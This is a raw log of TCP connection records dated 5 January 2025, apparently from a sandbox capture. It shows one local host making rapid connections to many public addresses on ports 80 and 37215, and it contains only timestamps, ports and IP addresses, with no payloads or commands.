Jan 5, 2025 14:34:55.803934097 CET	37215	44840	156.255.139.215	192.168.2.13
Jan 5, 2025 14:34:55.804089069 CET	80	55626	99.164.207.221	192.168.2.13
Jan 5, 2025 14:34:55.804121971 CET	55626	80	192.168.2.13	99.164.207.221
Jan 5, 2025 14:34:55.804208040 CET	54474	80	192.168.2.13	38.94.34.240
Jan 5, 2025 14:34:55.804208040 CET	54474	80	192.168.2.13	38.94.34.240
Jan 5, 2025 14:34:55.804292917 CET	59520	37215	192.168.2.13	156.88.155.128
Jan 5, 2025 14:34:55.804471016 CET	37215	45656	156.255.139.215	192.168.2.13
Jan 5, 2025 14:34:55.804506063 CET	45656	37215	192.168.2.13	156.255.139.215
Jan 5, 2025 14:34:55.804637909 CET	55290	80	192.168.2.13	38.94.34.240
Jan 5, 2025 14:34:55.804647923 CET	80	48844	78.20.11.62	192.168.2.13
Jan 5, 2025 14:34:55.805089951 CET	35698	37215	192.168.2.13	197.96.31.0
Jan 5, 2025 14:34:55.805105925 CET	35698	37215	192.168.2.13	197.96.31.0
Jan 5, 2025 14:34:55.805248022 CET	36182	80	192.168.2.13	131.92.77.249
Jan 5, 2025 14:34:55.805248022 CET	36182	80	192.168.2.13	131.92.77.249
Jan 5, 2025 14:34:55.805296898 CET	80	49668	78.20.11.62	192.168.2.13
Jan 5, 2025 14:34:55.805306911 CET	37215	43950	197.60.138.82	192.168.2.13
Jan 5, 2025 14:34:55.805331945 CET	49668	80	192.168.2.13	78.20.11.62
Jan 5, 2025 14:34:55.805691004 CET	36524	37215	192.168.2.13	197.96.31.0
Jan 5, 2025 14:34:55.805792093 CET	36998	80	192.168.2.13	131.92.77.249
Jan 5, 2025 14:34:55.806457996 CET	41496	80	192.168.2.13	19.126.39.244
Jan 5, 2025 14:34:55.806457996 CET	41496	80	192.168.2.13	19.126.39.244
Jan 5, 2025 14:34:55.806551933 CET	48754	37215	192.168.2.13	41.254.75.15
Jan 5, 2025 14:34:55.806551933 CET	48754	37215	192.168.2.13	41.254.75.15
Jan 5, 2025 14:34:55.806900978 CET	42306	80	192.168.2.13	19.126.39.244
Jan 5, 2025 14:34:55.807080030 CET	49582	37215	192.168.2.13	41.254.75.15
Jan 5, 2025 14:34:55.807215929 CET	80	37248	158.69.164.161	192.168.2.13
Jan 5, 2025 14:34:55.807226896 CET	37215	44778	197.60.138.82	192.168.2.13
Jan 5, 2025 14:34:55.807236910 CET	80	38068	158.69.164.161	192.168.2.13
Jan 5, 2025 14:34:55.807245970 CET	37215	40180	41.8.30.91	192.168.2.13
Jan 5, 2025 14:34:55.807260990 CET	80	50166	92.185.151.122	192.168.2.13
Jan 5, 2025 14:34:55.807262897 CET	44778	37215	192.168.2.13	197.60.138.82
Jan 5, 2025 14:34:55.807266951 CET	38068	80	192.168.2.13	158.69.164.161
Jan 5, 2025 14:34:55.807357073 CET	80	50984	92.185.151.122	192.168.2.13
Jan 5, 2025 14:34:55.807389021 CET	50984	80	192.168.2.13	92.185.151.122
Jan 5, 2025 14:34:55.807468891 CET	37215	41010	41.8.30.91	192.168.2.13
Jan 5, 2025 14:34:55.807502031 CET	41010	37215	192.168.2.13	41.8.30.91
Jan 5, 2025 14:34:55.807761908 CET	55626	80	192.168.2.13	99.164.207.221
Jan 5, 2025 14:34:55.807770967 CET	49668	80	192.168.2.13	78.20.11.62
Jan 5, 2025 14:34:55.807780981 CET	38068	80	192.168.2.13	158.69.164.161
Jan 5, 2025 14:34:55.807797909 CET	50984	80	192.168.2.13	92.185.151.122
Jan 5, 2025 14:34:55.807863951 CET	57958	37215	192.168.2.13	41.172.224.67
Jan 5, 2025 14:34:55.807863951 CET	57958	37215	192.168.2.13	41.172.224.67
Jan 5, 2025 14:34:55.808048010 CET	80	48512	125.109.219.8	192.168.2.13
Jan 5, 2025 14:34:55.808100939 CET	80	47376	63.43.10.28	192.168.2.13
Jan 5, 2025 14:34:55.808123112 CET	47376	80	192.168.2.13	63.43.10.28
Jan 5, 2025 14:34:55.808156013 CET	58786	37215	192.168.2.13	41.172.224.67
Jan 5, 2025 14:34:55.808337927 CET	37215	58694	156.88.155.128	192.168.2.13
Jan 5, 2025 14:34:55.808501005 CET	80	49342	125.109.219.8	192.168.2.13
Jan 5, 2025 14:34:55.808504105 CET	43414	37215	192.168.2.13	156.29.56.92
Jan 5, 2025 14:34:55.808504105 CET	43414	37215	192.168.2.13	156.29.56.92
Jan 5, 2025 14:34:55.808526993 CET	49342	80	192.168.2.13	125.109.219.8
Jan 5, 2025 14:34:55.808554888 CET	49342	80	192.168.2.13	125.109.219.8
Jan 5, 2025 14:34:55.808759928 CET	44240	37215	192.168.2.13	156.29.56.92
Jan 5, 2025 14:34:55.808970928 CET	80	54474	38.94.34.240	192.168.2.13
Jan 5, 2025 14:34:55.809118032 CET	51862	37215	192.168.2.13	197.203.83.162
Jan 5, 2025 14:34:55.809118032 CET	51862	37215	192.168.2.13	197.203.83.162
Jan 5, 2025 14:34:55.809130907 CET	37215	59520	156.88.155.128	192.168.2.13
Jan 5, 2025 14:34:55.809169054 CET	59520	37215	192.168.2.13	156.88.155.128
Jan 5, 2025 14:34:55.809392929 CET	52686	37215	192.168.2.13	197.203.83.162
Jan 5, 2025 14:34:55.809425116 CET	80	55290	38.94.34.240	192.168.2.13
Jan 5, 2025 14:34:55.809456110 CET	55290	80	192.168.2.13	38.94.34.240
Jan 5, 2025 14:34:55.809488058 CET	55290	80	192.168.2.13	38.94.34.240
Jan 5, 2025 14:34:55.809761047 CET	49258	37215	192.168.2.13	156.126.78.211
Jan 5, 2025 14:34:55.809761047 CET	49258	37215	192.168.2.13	156.126.78.211
Jan 5, 2025 14:34:55.809945107 CET	37215	35698	197.96.31.0	192.168.2.13
Jan 5, 2025 14:34:55.809978962 CET	80	36182	131.92.77.249	192.168.2.13
Jan 5, 2025 14:34:55.810029984 CET	50080	37215	192.168.2.13	156.126.78.211
Jan 5, 2025 14:34:55.810364008 CET	53588	37215	192.168.2.13	197.158.150.50
Jan 5, 2025 14:34:55.810364008 CET	53588	37215	192.168.2.13	197.158.150.50
Jan 5, 2025 14:34:55.810466051 CET	37215	36524	197.96.31.0	192.168.2.13
Jan 5, 2025 14:34:55.810503006 CET	36524	37215	192.168.2.13	197.96.31.0
Jan 5, 2025 14:34:55.810533047 CET	80	36998	131.92.77.249	192.168.2.13
Jan 5, 2025 14:34:55.810568094 CET	36998	80	192.168.2.13	131.92.77.249
Jan 5, 2025 14:34:55.810590029 CET	36998	80	192.168.2.13	131.92.77.249
Jan 5, 2025 14:34:55.810631990 CET	54400	37215	192.168.2.13	197.158.150.50
Jan 5, 2025 14:34:55.811054945 CET	44542	37215	192.168.2.13	41.19.166.133
Jan 5, 2025 14:34:55.811060905 CET	44778	37215	192.168.2.13	197.60.138.82
Jan 5, 2025 14:34:55.811069012 CET	41010	37215	192.168.2.13	41.8.30.91
Jan 5, 2025 14:34:55.811081886 CET	45656	37215	192.168.2.13	156.255.139.215
Jan 5, 2025 14:34:55.811085939 CET	59520	37215	192.168.2.13	156.88.155.128
Jan 5, 2025 14:34:55.811104059 CET	36524	37215	192.168.2.13	197.96.31.0
Jan 5, 2025 14:34:55.811175108 CET	80	41496	19.126.39.244	192.168.2.13
Jan 5, 2025 14:34:55.811357021 CET	37215	48754	41.254.75.15	192.168.2.13
Jan 5, 2025 14:34:55.811692953 CET	80	42306	19.126.39.244	192.168.2.13
Jan 5, 2025 14:34:55.811723948 CET	42306	80	192.168.2.13	19.126.39.244
Jan 5, 2025 14:34:55.811749935 CET	42306	80	192.168.2.13	19.126.39.244
Jan 5, 2025 14:34:55.811795950 CET	37215	49582	41.254.75.15	192.168.2.13
Jan 5, 2025 14:34:55.811836004 CET	49582	37215	192.168.2.13	41.254.75.15
Jan 5, 2025 14:34:55.811856985 CET	49582	37215	192.168.2.13	41.254.75.15
Jan 5, 2025 14:34:55.812623978 CET	80	55626	99.164.207.221	192.168.2.13
Jan 5, 2025 14:34:55.812700987 CET	55626	80	192.168.2.13	99.164.207.221
Jan 5, 2025 14:34:55.812715054 CET	37215	57958	41.172.224.67	192.168.2.13
Jan 5, 2025 14:34:55.812725067 CET	80	49668	78.20.11.62	192.168.2.13
Jan 5, 2025 14:34:55.812736988 CET	80	38068	158.69.164.161	192.168.2.13
Jan 5, 2025 14:34:55.812746048 CET	80	50984	92.185.151.122	192.168.2.13
Jan 5, 2025 14:34:55.812757969 CET	49668	80	192.168.2.13	78.20.11.62
Jan 5, 2025 14:34:55.812774897 CET	38068	80	192.168.2.13	158.69.164.161
Jan 5, 2025 14:34:55.812787056 CET	50984	80	192.168.2.13	92.185.151.122
Jan 5, 2025 14:34:55.812938929 CET	37215	58786	41.172.224.67	192.168.2.13
Jan 5, 2025 14:34:55.812982082 CET	58786	37215	192.168.2.13	41.172.224.67
Jan 5, 2025 14:34:55.812999010 CET	58786	37215	192.168.2.13	41.172.224.67
Jan 5, 2025 14:34:55.813277960 CET	37215	43414	156.29.56.92	192.168.2.13
Jan 5, 2025 14:34:55.813503027 CET	37215	44240	156.29.56.92	192.168.2.13
Jan 5, 2025 14:34:55.813551903 CET	44240	37215	192.168.2.13	156.29.56.92
Jan 5, 2025 14:34:55.813560963 CET	80	49342	125.109.219.8	192.168.2.13
Jan 5, 2025 14:34:55.813563108 CET	44240	37215	192.168.2.13	156.29.56.92
Jan 5, 2025 14:34:55.813589096 CET	49342	80	192.168.2.13	125.109.219.8
Jan 5, 2025 14:34:55.813924074 CET	37215	51862	197.203.83.162	192.168.2.13
Jan 5, 2025 14:34:55.814253092 CET	37215	52686	197.203.83.162	192.168.2.13
Jan 5, 2025 14:34:55.814295053 CET	52686	37215	192.168.2.13	197.203.83.162
Jan 5, 2025 14:34:55.814308882 CET	80	55290	38.94.34.240	192.168.2.13
Jan 5, 2025 14:34:55.814310074 CET	52686	37215	192.168.2.13	197.203.83.162
Jan 5, 2025 14:34:55.814342022 CET	55290	80	192.168.2.13	38.94.34.240
Jan 5, 2025 14:34:55.814537048 CET	37215	49258	156.126.78.211	192.168.2.13
Jan 5, 2025 14:34:55.814762115 CET	37215	50080	156.126.78.211	192.168.2.13
Jan 5, 2025 14:34:55.814796925 CET	50080	37215	192.168.2.13	156.126.78.211
Jan 5, 2025 14:34:55.814812899 CET	50080	37215	192.168.2.13	156.126.78.211
Jan 5, 2025 14:34:55.815205097 CET	37215	53588	197.158.150.50	192.168.2.13
Jan 5, 2025 14:34:55.815444946 CET	37215	54400	197.158.150.50	192.168.2.13
Jan 5, 2025 14:34:55.815485001 CET	54400	37215	192.168.2.13	197.158.150.50
Jan 5, 2025 14:34:55.815499067 CET	54400	37215	192.168.2.13	197.158.150.50
Jan 5, 2025 14:34:55.815551996 CET	80	36998	131.92.77.249	192.168.2.13
Jan 5, 2025 14:34:55.815610886 CET	80	36998	131.92.77.249	192.168.2.13
Jan 5, 2025 14:34:55.815648079 CET	36998	80	192.168.2.13	131.92.77.249
Jan 5, 2025 14:34:55.815891981 CET	37215	44542	41.19.166.133	192.168.2.13
Jan 5, 2025 14:34:55.815926075 CET	44542	37215	192.168.2.13	41.19.166.133
Jan 5, 2025 14:34:55.816023111 CET	37215	44778	197.60.138.82	192.168.2.13
Jan 5, 2025 14:34:55.816032887 CET	37215	41010	41.8.30.91	192.168.2.13
Jan 5, 2025 14:34:55.816041946 CET	37215	45656	156.255.139.215	192.168.2.13
Jan 5, 2025 14:34:55.816055059 CET	37215	59520	156.88.155.128	192.168.2.13
Jan 5, 2025 14:34:55.816060066 CET	44778	37215	192.168.2.13	197.60.138.82
Jan 5, 2025 14:34:55.816062927 CET	41010	37215	192.168.2.13	41.8.30.91
Jan 5, 2025 14:34:55.816070080 CET	37215	36524	197.96.31.0	192.168.2.13
Jan 5, 2025 14:34:55.816071987 CET	45656	37215	192.168.2.13	156.255.139.215
Jan 5, 2025 14:34:55.816091061 CET	59520	37215	192.168.2.13	156.88.155.128
Jan 5, 2025 14:34:55.816107035 CET	36524	37215	192.168.2.13	197.96.31.0
Jan 5, 2025 14:34:55.816731930 CET	80	42306	19.126.39.244	192.168.2.13
Jan 5, 2025 14:34:55.816762924 CET	42306	80	192.168.2.13	19.126.39.244
Jan 5, 2025 14:34:55.816842079 CET	37215	49582	41.254.75.15	192.168.2.13
Jan 5, 2025 14:34:55.816879034 CET	49582	37215	192.168.2.13	41.254.75.15
Jan 5, 2025 14:34:55.817854881 CET	37215	58786	41.172.224.67	192.168.2.13
Jan 5, 2025 14:34:55.817893982 CET	58786	37215	192.168.2.13	41.172.224.67
Jan 5, 2025 14:34:55.818418026 CET	37215	44240	156.29.56.92	192.168.2.13
Jan 5, 2025 14:34:55.818456888 CET	44240	37215	192.168.2.13	156.29.56.92
Jan 5, 2025 14:34:55.819196939 CET	37215	52686	197.203.83.162	192.168.2.13
Jan 5, 2025 14:34:55.819232941 CET	52686	37215	192.168.2.13	197.203.83.162
Jan 5, 2025 14:34:55.819746017 CET	37215	50080	156.126.78.211	192.168.2.13
Jan 5, 2025 14:34:55.819782972 CET	50080	37215	192.168.2.13	156.126.78.211
Jan 5, 2025 14:34:55.820319891 CET	37215	54400	197.158.150.50	192.168.2.13
Jan 5, 2025 14:34:55.820353985 CET	54400	37215	192.168.2.13	197.158.150.50
Jan 5, 2025 14:34:55.824146986 CET	38300	80	192.168.2.13	180.183.87.174
Jan 5, 2025 14:34:55.824146986 CET	59460	37215	192.168.2.13	41.232.203.93
Jan 5, 2025 14:34:55.824148893 CET	43026	37215	192.168.2.13	41.36.170.30
Jan 5, 2025 14:34:55.824151993 CET	35082	80	192.168.2.13	23.224.32.45
Jan 5, 2025 14:34:55.824157000 CET	33470	80	192.168.2.13	65.210.246.241
Jan 5, 2025 14:34:55.824156046 CET	57244	37215	192.168.2.13	197.100.220.57
Jan 5, 2025 14:34:55.824162960 CET	39778	80	192.168.2.13	83.126.174.186
Jan 5, 2025 14:34:55.824168921 CET	46638	80	192.168.2.13	188.148.5.67
Jan 5, 2025 14:34:55.824168921 CET	36132	37215	192.168.2.13	156.141.115.233
Jan 5, 2025 14:34:55.824168921 CET	42836	37215	192.168.2.13	197.113.138.108
Jan 5, 2025 14:34:55.824172974 CET	40610	80	192.168.2.13	209.164.155.93
Jan 5, 2025 14:34:55.824172974 CET	34728	37215	192.168.2.13	41.82.207.46
Jan 5, 2025 14:34:55.824172974 CET	49448	80	192.168.2.13	178.237.118.100
Jan 5, 2025 14:34:55.824172974 CET	42704	80	192.168.2.13	57.119.84.72
Jan 5, 2025 14:34:55.824172974 CET	52840	80	192.168.2.13	192.5.111.66
Jan 5, 2025 14:34:55.824172974 CET	54926	80	192.168.2.13	36.247.60.108
Jan 5, 2025 14:34:55.824182034 CET	38642	37215	192.168.2.13	41.171.143.145
Jan 5, 2025 14:34:55.824187040 CET	56372	80	192.168.2.13	85.66.186.124
Jan 5, 2025 14:34:55.824187994 CET	46928	80	192.168.2.13	43.81.231.176
Jan 5, 2025 14:34:55.824191093 CET	49196	37215	192.168.2.13	197.247.78.82
Jan 5, 2025 14:34:55.824191093 CET	42380	80	192.168.2.13	104.36.217.230
Jan 5, 2025 14:34:55.824191093 CET	43882	80	192.168.2.13	143.206.192.80
Jan 5, 2025 14:34:55.824191093 CET	49444	80	192.168.2.13	110.68.47.188
Jan 5, 2025 14:34:55.824191093 CET	58776	80	192.168.2.13	51.175.132.128
Jan 5, 2025 14:34:55.824191093 CET	34848	37215	192.168.2.13	41.7.178.161
Jan 5, 2025 14:34:55.824191093 CET	34378	37215	192.168.2.13	41.254.38.116
Jan 5, 2025 14:34:55.824197054 CET	60040	80	192.168.2.13	113.43.149.121
Jan 5, 2025 14:34:55.824203014 CET	38844	37215	192.168.2.13	156.233.61.170
Jan 5, 2025 14:34:55.824203014 CET	52292	37215	192.168.2.13	41.16.186.169
Jan 5, 2025 14:34:55.824217081 CET	59486	80	192.168.2.13	138.242.91.81
Jan 5, 2025 14:34:55.829118967 CET	80	38300	180.183.87.174	192.168.2.13
Jan 5, 2025 14:34:55.829128981 CET	37215	43026	41.36.170.30	192.168.2.13
Jan 5, 2025 14:34:55.829137087 CET	80	33470	65.210.246.241	192.168.2.13
Jan 5, 2025 14:34:55.829145908 CET	80	35082	23.224.32.45	192.168.2.13
Jan 5, 2025 14:34:55.829160929 CET	37215	59460	41.232.203.93	192.168.2.13
Jan 5, 2025 14:34:55.829161882 CET	38300	80	192.168.2.13	180.183.87.174
Jan 5, 2025 14:34:55.829169035 CET	80	39778	83.126.174.186	192.168.2.13
Jan 5, 2025 14:34:55.829174042 CET	80	46638	188.148.5.67	192.168.2.13
Jan 5, 2025 14:34:55.829174995 CET	43026	37215	192.168.2.13	41.36.170.30
Jan 5, 2025 14:34:55.829176903 CET	33470	80	192.168.2.13	65.210.246.241
Jan 5, 2025 14:34:55.829183102 CET	37215	57244	197.100.220.57	192.168.2.13
Jan 5, 2025 14:34:55.829193115 CET	37215	36132	156.141.115.233	192.168.2.13
Jan 5, 2025 14:34:55.829200983 CET	80	40610	209.164.155.93	192.168.2.13
Jan 5, 2025 14:34:55.829202890 CET	39778	80	192.168.2.13	83.126.174.186
Jan 5, 2025 14:34:55.829202890 CET	35082	80	192.168.2.13	23.224.32.45
Jan 5, 2025 14:34:55.829202890 CET	46638	80	192.168.2.13	188.148.5.67
Jan 5, 2025 14:34:55.829216003 CET	37215	42836	197.113.138.108	192.168.2.13
Jan 5, 2025 14:34:55.829219103 CET	57244	37215	192.168.2.13	197.100.220.57
Jan 5, 2025 14:34:55.829222918 CET	40610	80	192.168.2.13	209.164.155.93
Jan 5, 2025 14:34:55.829225063 CET	36132	37215	192.168.2.13	156.141.115.233
Jan 5, 2025 14:34:55.829229116 CET	37215	38642	41.171.143.145	192.168.2.13
Jan 5, 2025 14:34:55.829242945 CET	59460	37215	192.168.2.13	41.232.203.93
Jan 5, 2025 14:34:55.829246998 CET	42836	37215	192.168.2.13	197.113.138.108
Jan 5, 2025 14:34:55.829261065 CET	38642	37215	192.168.2.13	41.171.143.145
Jan 5, 2025 14:34:55.829282045 CET	43026	37215	192.168.2.13	41.36.170.30
Jan 5, 2025 14:34:55.829282999 CET	43026	37215	192.168.2.13	41.36.170.30
Jan 5, 2025 14:34:55.829324007 CET	38300	80	192.168.2.13	180.183.87.174
Jan 5, 2025 14:34:55.829338074 CET	38300	80	192.168.2.13	180.183.87.174
Jan 5, 2025 14:34:55.829436064 CET	80	56372	85.66.186.124	192.168.2.13
Jan 5, 2025 14:34:55.829443932 CET	37215	34728	41.82.207.46	192.168.2.13
Jan 5, 2025 14:34:55.829452991 CET	80	46928	43.81.231.176	192.168.2.13
Jan 5, 2025 14:34:55.829461098 CET	80	49448	178.237.118.100	192.168.2.13
Jan 5, 2025 14:34:55.829468012 CET	80	60040	113.43.149.121	192.168.2.13
Jan 5, 2025 14:34:55.829468966 CET	34728	37215	192.168.2.13	41.82.207.46
Jan 5, 2025 14:34:55.829472065 CET	56372	80	192.168.2.13	85.66.186.124
Jan 5, 2025 14:34:55.829477072 CET	80	42704	57.119.84.72	192.168.2.13
Jan 5, 2025 14:34:55.829484940 CET	49448	80	192.168.2.13	178.237.118.100
Jan 5, 2025 14:34:55.829485893 CET	80	42380	104.36.217.230	192.168.2.13
Jan 5, 2025 14:34:55.829487085 CET	46928	80	192.168.2.13	43.81.231.176
Jan 5, 2025 14:34:55.829494953 CET	80	52840	192.5.111.66	192.168.2.13
Jan 5, 2025 14:34:55.829504013 CET	37215	38844	156.233.61.170	192.168.2.13
Jan 5, 2025 14:34:55.829505920 CET	42380	80	192.168.2.13	104.36.217.230
Jan 5, 2025 14:34:55.829508066 CET	42704	80	192.168.2.13	57.119.84.72
Jan 5, 2025 14:34:55.829510927 CET	60040	80	192.168.2.13	113.43.149.121
Jan 5, 2025 14:34:55.829511881 CET	80	49444	110.68.47.188	192.168.2.13
Jan 5, 2025 14:34:55.829520941 CET	80	54926	36.247.60.108	192.168.2.13
Jan 5, 2025 14:34:55.829529047 CET	37215	52292	41.16.186.169	192.168.2.13
Jan 5, 2025 14:34:55.829530954 CET	52840	80	192.168.2.13	192.5.111.66
Jan 5, 2025 14:34:55.829535007 CET	38844	37215	192.168.2.13	156.233.61.170
Jan 5, 2025 14:34:55.829544067 CET	49444	80	192.168.2.13	110.68.47.188
Jan 5, 2025 14:34:55.829545021 CET	37215	49196	197.247.78.82	192.168.2.13
Jan 5, 2025 14:34:55.829550028 CET	52292	37215	192.168.2.13	41.16.186.169
Jan 5, 2025 14:34:55.829551935 CET	54926	80	192.168.2.13	36.247.60.108
Jan 5, 2025 14:34:55.829552889 CET	37215	34848	41.7.178.161	192.168.2.13
Jan 5, 2025 14:34:55.829561949 CET	80	43882	143.206.192.80	192.168.2.13
Jan 5, 2025 14:34:55.829570055 CET	80	58776	51.175.132.128	192.168.2.13
Jan 5, 2025 14:34:55.829575062 CET	49196	37215	192.168.2.13	197.247.78.82
Jan 5, 2025 14:34:55.829576015 CET	34848	37215	192.168.2.13	41.7.178.161
Jan 5, 2025 14:34:55.829576969 CET	37215	34378	41.254.38.116	192.168.2.13
Jan 5, 2025 14:34:55.829586029 CET	80	59486	138.242.91.81	192.168.2.13
Jan 5, 2025 14:34:55.829587936 CET	43882	80	192.168.2.13	143.206.192.80
Jan 5, 2025 14:34:55.829587936 CET	58776	80	192.168.2.13	51.175.132.128
Jan 5, 2025 14:34:55.829616070 CET	34378	37215	192.168.2.13	41.254.38.116
Jan 5, 2025 14:34:55.829622984 CET	59486	80	192.168.2.13	138.242.91.81
Jan 5, 2025 14:34:55.829818010 CET	43812	37215	192.168.2.13	41.36.170.30
Jan 5, 2025 14:34:55.829911947 CET	39094	80	192.168.2.13	180.183.87.174
Jan 5, 2025 14:34:55.830580950 CET	35082	80	192.168.2.13	23.224.32.45
Jan 5, 2025 14:34:55.830580950 CET	35082	80	192.168.2.13	23.224.32.45
Jan 5, 2025 14:34:55.830678940 CET	59460	37215	192.168.2.13	41.232.203.93
Jan 5, 2025 14:34:55.830678940 CET	59460	37215	192.168.2.13	41.232.203.93
Jan 5, 2025 14:34:55.830871105 CET	35874	80	192.168.2.13	23.224.32.45
Jan 5, 2025 14:34:55.831398964 CET	33470	80	192.168.2.13	65.210.246.241
Jan 5, 2025 14:34:55.831398964 CET	33470	80	192.168.2.13	65.210.246.241
Jan 5, 2025 14:34:55.831485987 CET	60256	37215	192.168.2.13	41.232.203.93
Jan 5, 2025 14:34:55.831824064 CET	34258	80	192.168.2.13	65.210.246.241
Jan 5, 2025 14:34:55.832247972 CET	57244	37215	192.168.2.13	197.100.220.57
Jan 5, 2025 14:34:55.832272053 CET	57244	37215	192.168.2.13	197.100.220.57
Jan 5, 2025 14:34:55.832412004 CET	40610	80	192.168.2.13	209.164.155.93
Jan 5, 2025 14:34:55.832412004 CET	40610	80	192.168.2.13	209.164.155.93
Jan 5, 2025 14:34:55.832851887 CET	58036	37215	192.168.2.13	197.100.220.57
Jan 5, 2025 14:34:55.832930088 CET	41398	80	192.168.2.13	209.164.155.93
Jan 5, 2025 14:34:55.833542109 CET	39778	80	192.168.2.13	83.126.174.186
Jan 5, 2025 14:34:55.833542109 CET	39778	80	192.168.2.13	83.126.174.186
Jan 5, 2025 14:34:55.833636999 CET	36132	37215	192.168.2.13	156.141.115.233
Jan 5, 2025 14:34:55.833648920 CET	36132	37215	192.168.2.13	156.141.115.233
Jan 5, 2025 14:34:55.833941936 CET	40560	80	192.168.2.13	83.126.174.186
Jan 5, 2025 14:34:55.834291935 CET	36914	37215	192.168.2.13	156.141.115.233
Jan 5, 2025 14:34:55.834304094 CET	37215	43026	41.36.170.30	192.168.2.13
Jan 5, 2025 14:34:55.834314108 CET	80	38300	180.183.87.174	192.168.2.13
Jan 5, 2025 14:34:55.834471941 CET	46638	80	192.168.2.13	188.148.5.67
Jan 5, 2025 14:34:55.834471941 CET	46638	80	192.168.2.13	188.148.5.67
Jan 5, 2025 14:34:55.834733963 CET	37215	43812	41.36.170.30	192.168.2.13
Jan 5, 2025 14:34:55.834770918 CET	43812	37215	192.168.2.13	41.36.170.30
Jan 5, 2025 14:34:55.834882975 CET	47416	80	192.168.2.13	188.148.5.67
Jan 5, 2025 14:34:55.835206985 CET	42836	37215	192.168.2.13	197.113.138.108
Jan 5, 2025 14:34:55.835206985 CET	42836	37215	192.168.2.13	197.113.138.108
Jan 5, 2025 14:34:55.835319996 CET	80	35082	23.224.32.45	192.168.2.13
Jan 5, 2025 14:34:55.835457087 CET	37215	59460	41.232.203.93	192.168.2.13
Jan 5, 2025 14:34:55.835470915 CET	42704	80	192.168.2.13	57.119.84.72
Jan 5, 2025 14:34:55.835470915 CET	42704	80	192.168.2.13	57.119.84.72
Jan 5, 2025 14:34:55.835633039 CET	43618	37215	192.168.2.13	197.113.138.108
Jan 5, 2025 14:34:55.835968971 CET	43510	80	192.168.2.13	57.119.84.72
Jan 5, 2025 14:34:55.836146116 CET	80	33470	65.210.246.241	192.168.2.13
Jan 5, 2025 14:34:55.836546898 CET	49448	80	192.168.2.13	178.237.118.100
Jan 5, 2025 14:34:55.836560011 CET	49448	80	192.168.2.13	178.237.118.100
Jan 5, 2025 14:34:55.836561918 CET	43812	37215	192.168.2.13	41.36.170.30
Jan 5, 2025 14:34:55.836563110 CET	49196	37215	192.168.2.13	197.247.78.82
Jan 5, 2025 14:34:55.836575985 CET	49196	37215	192.168.2.13	197.247.78.82
Jan 5, 2025 14:34:55.836924076 CET	50244	80	192.168.2.13	178.237.118.100
Jan 5, 2025 14:34:55.837002993 CET	37215	57244	197.100.220.57	192.168.2.13
Jan 5, 2025 14:34:55.837227106 CET	80	40610	209.164.155.93	192.168.2.13
Jan 5, 2025 14:34:55.837263107 CET	49996	37215	192.168.2.13	197.247.78.82
Jan 5, 2025 14:34:55.837440014 CET	52840	80	192.168.2.13	192.5.111.66
Jan 5, 2025 14:34:55.837440014 CET	52840	80	192.168.2.13	192.5.111.66
Jan 5, 2025 14:34:55.837970972 CET	34728	37215	192.168.2.13	41.82.207.46
Jan 5, 2025 14:34:55.837970972 CET	34728	37215	192.168.2.13	41.82.207.46
Jan 5, 2025 14:34:55.838046074 CET	53632	80	192.168.2.13	192.5.111.66
Jan 5, 2025 14:34:55.838346004 CET	80	39778	83.126.174.186	192.168.2.13
Jan 5, 2025 14:34:55.838454008 CET	37215	36132	156.141.115.233	192.168.2.13
Jan 5, 2025 14:34:55.838476896 CET	35528	37215	192.168.2.13	41.82.207.46
Jan 5, 2025 14:34:55.838634968 CET	56372	80	192.168.2.13	85.66.186.124
Jan 5, 2025 14:34:55.838634968 CET	56372	80	192.168.2.13	85.66.186.124
Jan 5, 2025 14:34:55.839155912 CET	38844	37215	192.168.2.13	156.233.61.170
Jan 5, 2025 14:34:55.839169979 CET	38844	37215	192.168.2.13	156.233.61.170
Jan 5, 2025 14:34:55.839195013 CET	80	46638	188.148.5.67	192.168.2.13
Jan 5, 2025 14:34:55.839238882 CET	57160	80	192.168.2.13	85.66.186.124
Jan 5, 2025 14:34:55.839669943 CET	39636	37215	192.168.2.13	156.233.61.170
Jan 5, 2025 14:34:55.839859962 CET	46928	80	192.168.2.13	43.81.231.176
Jan 5, 2025 14:34:55.839859962 CET	46928	80	192.168.2.13	43.81.231.176
Jan 5, 2025 14:34:55.840032101 CET	37215	42836	197.113.138.108	192.168.2.13
Jan 5, 2025 14:34:55.840269089 CET	80	42704	57.119.84.72	192.168.2.13
Jan 5, 2025 14:34:55.840382099 CET	37215	43618	197.113.138.108	192.168.2.13
Jan 5, 2025 14:34:55.840415001 CET	43618	37215	192.168.2.13	197.113.138.108
Jan 5, 2025 14:34:55.840442896 CET	38642	37215	192.168.2.13	41.171.143.145
Jan 5, 2025 14:34:55.840442896 CET	38642	37215	192.168.2.13	41.171.143.145
Jan 5, 2025 14:34:55.840523958 CET	47716	80	192.168.2.13	43.81.231.176
Jan 5, 2025 14:34:55.840975046 CET	39430	37215	192.168.2.13	41.171.143.145
Jan 5, 2025 14:34:55.841150045 CET	54926	80	192.168.2.13	36.247.60.108
Jan 5, 2025 14:34:55.841150045 CET	54926	80	192.168.2.13	36.247.60.108
Jan 5, 2025 14:34:55.841373920 CET	80	49448	178.237.118.100	192.168.2.13
Jan 5, 2025 14:34:55.841382980 CET	37215	49196	197.247.78.82	192.168.2.13
Jan 5, 2025 14:34:55.841392040 CET	37215	43812	41.36.170.30	192.168.2.13
Jan 5, 2025 14:34:55.841420889 CET	43812	37215	192.168.2.13	41.36.170.30
Jan 5, 2025 14:34:55.841671944 CET	34848	37215	192.168.2.13	41.7.178.161
Jan 5, 2025 14:34:55.841671944 CET	34848	37215	192.168.2.13	41.7.178.161
Jan 5, 2025 14:34:55.841756105 CET	55714	80	192.168.2.13	36.247.60.108
Jan 5, 2025 14:34:55.842191935 CET	80	52840	192.5.111.66	192.168.2.13
Jan 5, 2025 14:34:55.842210054 CET	35636	37215	192.168.2.13	41.7.178.161
Jan 5, 2025 14:34:55.842397928 CET	43882	80	192.168.2.13	143.206.192.80
Jan 5, 2025 14:34:55.842397928 CET	43882	80	192.168.2.13	143.206.192.80
Jan 5, 2025 14:34:55.842729092 CET	37215	34728	41.82.207.46	192.168.2.13
Jan 5, 2025 14:34:55.842921019 CET	34378	37215	192.168.2.13	41.254.38.116
Jan 5, 2025 14:34:55.842921019 CET	34378	37215	192.168.2.13	41.254.38.116
Jan 5, 2025 14:34:55.843004942 CET	44670	80	192.168.2.13	143.206.192.80
Jan 5, 2025 14:34:55.843415976 CET	80	56372	85.66.186.124	192.168.2.13
Jan 5, 2025 14:34:55.843434095 CET	35162	37215	192.168.2.13	41.254.38.116
